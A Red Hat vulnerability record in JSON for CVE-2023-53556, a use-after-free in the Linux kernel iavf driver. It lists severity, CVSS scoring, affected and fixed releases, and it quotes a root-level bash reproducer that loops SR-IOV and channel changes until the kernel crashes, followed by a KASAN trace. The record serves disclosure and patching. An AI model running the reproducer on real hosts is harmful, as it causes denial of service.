{
  "threat_severity" : "Moderate",
  "public_date" : "2025-10-04T00:00:00Z",
  "bugzilla" : {
    "description" : "kernel: Linux kernel iavf driver: Denial of Service via use-after-free vulnerability",
    "id" : "2401478",
    "url" : "https://bugzilla.redhat.com/show_bug.cgi?id=2401478"
  },
  "cvss3" : {
    "cvss3_base_score" : "6.6",
    "cvss3_scoring_vector" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H",
    "status" : "verified"
  },
  "cwe" : "CWE-664",
  "details" : [ "In the Linux kernel, the following vulnerability has been resolved:\niavf: Fix use-after-free in free_netdev\nWe do netif_napi_add() for all allocated q_vectors[], but potentially\ndo netif_napi_del() for part of them, then kfree q_vectors and leave\ninvalid pointers at dev->napi_list.\nReproducer:\n[root@host ~]# cat repro.sh\n#!/bin/bash\npf_dbsf=\"0000:41:00.0\"\nvf0_dbsf=\"0000:41:02.0\"\ng_pids=()\nfunction do_set_numvf()\n{\necho 2 >/sys/bus/pci/devices/${pf_dbsf}/sriov_numvfs\nsleep $((RANDOM%3+1))\necho 0 >/sys/bus/pci/devices/${pf_dbsf}/sriov_numvfs\nsleep $((RANDOM%3+1))\n}\nfunction do_set_channel()\n{\nlocal nic=$(ls -1 --indicator-style=none /sys/bus/pci/devices/${vf0_dbsf}/net/)\n[ -z \"$nic\" ] && { sleep $((RANDOM%3)) ; return 1; }\nifconfig $nic 192.168.18.5 netmask 255.255.255.0\nifconfig $nic up\nethtool -L $nic combined 1\nethtool -L $nic combined 4\nsleep $((RANDOM%3))\n}\nfunction on_exit()\n{\nlocal pid\nfor pid in \"${g_pids[@]}\"; do\nkill -0 \"$pid\" &>/dev/null && kill \"$pid\" &>/dev/null\ndone\ng_pids=()\n}\ntrap \"on_exit; exit\" EXIT\nwhile :; do do_set_numvf ; done &\ng_pids+=($!)\nwhile :; do do_set_channel ; done &\ng_pids+=($!)\nwait\nResult:\n[ 4093.900222] ==================================================================\n[ 4093.900230] BUG: KASAN: use-after-free in free_netdev+0x308/0x390\n[ 4093.900232] Read of size 8 at addr ffff88b4dc145640 by task repro.sh/6699\n[ 4093.900233]\n[ 4093.900236] CPU: 10 PID: 6699 Comm: repro.sh Kdump: loaded Tainted: G           O     --------- -t - 4.18.0 #1\n[ 4093.900238] Hardware name: Powerleader PR2008AL/H12DSi-N6, BIOS 2.0 04/09/2021\n[ 4093.900239] Call Trace:\n[ 4093.900244]  dump_stack+0x71/0xab\n[ 4093.900249]  print_address_description+0x6b/0x290\n[ 4093.900251]  ? free_netdev+0x308/0x390\n[ 4093.900252]  kasan_report+0x14a/0x2b0\n[ 4093.900254]  free_netdev+0x308/0x390\n[ 4093.900261]  iavf_remove+0x825/0xd20 [iavf]\n[ 4093.900265]  pci_device_remove+0xa8/0x1f0\n[ 4093.900268]  device_release_driver_internal+0x1c6/0x460\n[ 4093.900271]  pci_stop_bus_device+0x101/0x150\n[ 4093.900273]  pci_stop_and_remove_bus_device+0xe/0x20\n[ 4093.900275]  pci_iov_remove_virtfn+0x187/0x420\n[ 4093.900277]  ? pci_iov_add_virtfn+0xe10/0xe10\n[ 4093.900278]  ? pci_get_subsys+0x90/0x90\n[ 4093.900280]  sriov_disable+0xed/0x3e0\n[ 4093.900282]  ? bus_find_device+0x12d/0x1a0\n[ 4093.900290]  i40e_free_vfs+0x754/0x1210 [i40e]\n[ 4093.900298]  ? i40e_reset_all_vfs+0x880/0x880 [i40e]\n[ 4093.900299]  ? pci_get_device+0x7c/0x90\n[ 4093.900300]  ? pci_get_subsys+0x90/0x90\n[ 4093.900306]  ? pci_vfs_assigned.part.7+0x144/0x210\n[ 4093.900309]  ? __mutex_lock_slowpath+0x10/0x10\n[ 4093.900315]  i40e_pci_sriov_configure+0x1fa/0x2e0 [i40e]\n[ 4093.900318]  sriov_numvfs_store+0x214/0x290\n[ 4093.900320]  ? sriov_totalvfs_show+0x30/0x30\n[ 4093.900321]  ? __mutex_lock_slowpath+0x10/0x10\n[ 4093.900323]  ? __check_object_size+0x15a/0x350\n[ 4093.900326]  kernfs_fop_write+0x280/0x3f0\n[ 4093.900329]  vfs_write+0x145/0x440\n[ 4093.900330]  ksys_write+0xab/0x160\n[ 4093.900332]  ? __ia32_sys_read+0xb0/0xb0\n[ 4093.900334]  ? fput_many+0x1a/0x120\n[ 4093.900335]  ? filp_close+0xf0/0x130\n[ 4093.900338]  do_syscall_64+0xa0/0x370\n[ 4093.900339]  ? page_fault+0x8/0x30\n[ 4093.900341]  entry_SYSCALL_64_after_hwframe+0x65/0xca\n[ 4093.900357] RIP: 0033:0x7f16ad4d22c0\n[ 4093.900359] Code: 73 01 c3 48 8b 0d d8 cb 2c 00 f7 d8 64 89 01 48 83 c8 ff c3 66 0f 1f 44 00 00 83 3d 89 24 2d 00 00 75 10 b8 01 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 31 c3 48 83 ec 08 e8 fe dd 01 00 48 89 04 24\n[ 4093.900360] RSP: 002b:00007ffd6491b7f8 EFLAGS: 00000246 ORIG_RAX: 0000000000000001\n[ 4093.900362] RAX: ffffffffffffffda RBX: 0000000000000002 RCX: 00007f16ad4d22c0\n[ 4093.900363] RDX: 0000000000000002 RSI: 0000000001a41408 RDI: 0000000000000001\n[ 4093.900364] RBP: 0000000001a41408 R08: 00007f16ad7a1780 R09: 00007f16ae1f2700\n[ 4093.9003\n---truncated---", "A flaw was found in the Linux kernel's iavf driver. A local user with administrative capabilities can exploit a use-after-free vulnerability, caused by a mismatch in network interface (NAPI) list management functions. This can lead to dangling NAPI entries, resulting in a kernel crash and a Denial of Service (DoS)." ],
  "statement" : "A use-after-free in the Intel iavf driver could be triggered by a mismatch between netif_napi_add() and netif_napi_del(), leaving dangling NAPI entries and crashing in free_netdev(). Exploitation requires local administrative capabilities (SR-IOV toggling and channel reconfiguration), so the practical impact is mostly a kernel DoS rather than privilege escalation. For the CVSS the PR:H — because changing sriov_numvfs (PF) and ethtool -L (VF) requires CAP_SYS_ADMIN/CAP_NET_ADMIN.",
  "affected_release" : [ {
    "product_name" : "Red Hat Enterprise Linux 8",
    "release_date" : "2023-11-14T00:00:00Z",
    "advisory" : "RHSA-2023:7077",
    "cpe" : "cpe:/o:redhat:enterprise_linux:8",
    "package" : "kernel-0:4.18.0-513.5.1.el8_9"
  }, {
    "product_name" : "Red Hat Enterprise Linux 8.6 Extended Update Support",
    "release_date" : "2023-10-10T00:00:00Z",
    "advisory" : "RHSA-2023:5627",
    "cpe" : "cpe:/o:redhat:rhel_eus:8.6",
    "package" : "kernel-0:4.18.0-372.75.1.el8_6"
  }, {
    "product_name" : "Red Hat Enterprise Linux 9",
    "release_date" : "2023-09-12T00:00:00Z",
    "advisory" : "RHSA-2023:5069",
    "cpe" : "cpe:/a:redhat:enterprise_linux:9",
    "package" : "kernel-0:5.14.0-284.30.1.el9_2"
  }, {
    "product_name" : "Red Hat Enterprise Linux 9",
    "release_date" : "2023-11-07T00:00:00Z",
    "advisory" : "RHSA-2023:6583",
    "cpe" : "cpe:/a:redhat:enterprise_linux:9",
    "package" : "kernel-0:5.14.0-362.8.1.el9_3"
  }, {
    "product_name" : "Red Hat Enterprise Linux 9",
    "release_date" : "2023-09-12T00:00:00Z",
    "advisory" : "RHSA-2023:5069",
    "cpe" : "cpe:/o:redhat:enterprise_linux:9",
    "package" : "kernel-0:5.14.0-284.30.1.el9_2"
  }, {
    "product_name" : "Red Hat Enterprise Linux 9",
    "release_date" : "2023-11-07T00:00:00Z",
    "advisory" : "RHSA-2023:6583",
    "cpe" : "cpe:/o:redhat:enterprise_linux:9",
    "package" : "kernel-0:5.14.0-362.8.1.el9_3"
  }, {
    "product_name" : "Red Hat Virtualization 4 for Red Hat Enterprise Linux 8",
    "release_date" : "2023-10-10T00:00:00Z",
    "advisory" : "RHSA-2023:5627",
    "cpe" : "cpe:/o:redhat:rhev_hypervisor:4.4::el8",
    "package" : "kernel-0:4.18.0-372.75.1.el8_6"
  } ],
  "package_state" : [ {
    "product_name" : "Red Hat Enterprise Linux 10",
    "fix_state" : "Not affected",
    "package_name" : "kernel",
    "cpe" : "cpe:/o:redhat:enterprise_linux:10"
  }, {
    "product_name" : "Red Hat Enterprise Linux 6",
    "fix_state" : "Not affected",
    "package_name" : "kernel",
    "cpe" : "cpe:/o:redhat:enterprise_linux:6"
  }, {
    "product_name" : "Red Hat Enterprise Linux 7",
    "fix_state" : "Fix deferred",
    "package_name" : "kernel",
    "cpe" : "cpe:/o:redhat:enterprise_linux:7"
  }, {
    "product_name" : "Red Hat Enterprise Linux 7",
    "fix_state" : "Fix deferred",
    "package_name" : "kernel-rt",
    "cpe" : "cpe:/o:redhat:enterprise_linux:7"
  }, {
    "product_name" : "Red Hat Enterprise Linux 8",
    "fix_state" : "Fix deferred",
    "package_name" : "kernel-rt",
    "cpe" : "cpe:/o:redhat:enterprise_linux:8"
  }, {
    "product_name" : "Red Hat Enterprise Linux 9",
    "fix_state" : "Fix deferred",
    "package_name" : "kernel-rt",
    "cpe" : "cpe:/o:redhat:enterprise_linux:9"
  } ],
  "references" : [ "https://www.cve.org/CVERecord?id=CVE-2023-53556\nhttps://nvd.nist.gov/vuln/detail/CVE-2023-53556\nhttps://lore.kernel.org/linux-cve-announce/2025100448-CVE-2023-53556-db4c@gregkh/T" ],
  "name" : "CVE-2023-53556",
  "csaw" : false
}